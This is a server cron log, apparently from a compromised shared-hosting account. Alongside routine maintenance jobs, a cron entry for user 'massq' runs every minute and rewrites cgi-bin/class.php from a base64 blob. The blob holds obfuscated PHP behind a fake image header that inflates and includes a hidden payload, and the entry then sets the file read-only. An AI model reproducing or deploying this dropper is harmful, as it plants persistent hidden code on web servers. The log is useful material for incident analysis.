Nov 12 06:40:01 server CROND[9141]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 06:40:01 server CROND[9143]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 12 06:41:01 server CROND[10003]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 06:42:01 server CROND[10840]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 12 06:42:01 server CROND[10841]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 06:43:01 server CROND[11735]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 06:44:01 server CROND[12496]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 06:45:01 server CROND[13439]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 12 06:45:01 server CROND[13440]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 12 06:45:01 server CROND[13449]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 06:46:01 server CROND[14331]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 06:47:01 server CROND[15170]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 06:48:01 server CROND[16009]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 06:49:01 server CROND[16854]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 06:50:01 server CROND[17782]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 12 06:50:01 server CROND[17785]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 12 06:50:01 server CROND[17784]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 12 06:50:01 server CROND[17788]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 12 06:50:01 server CROND[17790]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 06:51:01 server CROND[18664]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 06:52:01 server CROND[19489]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
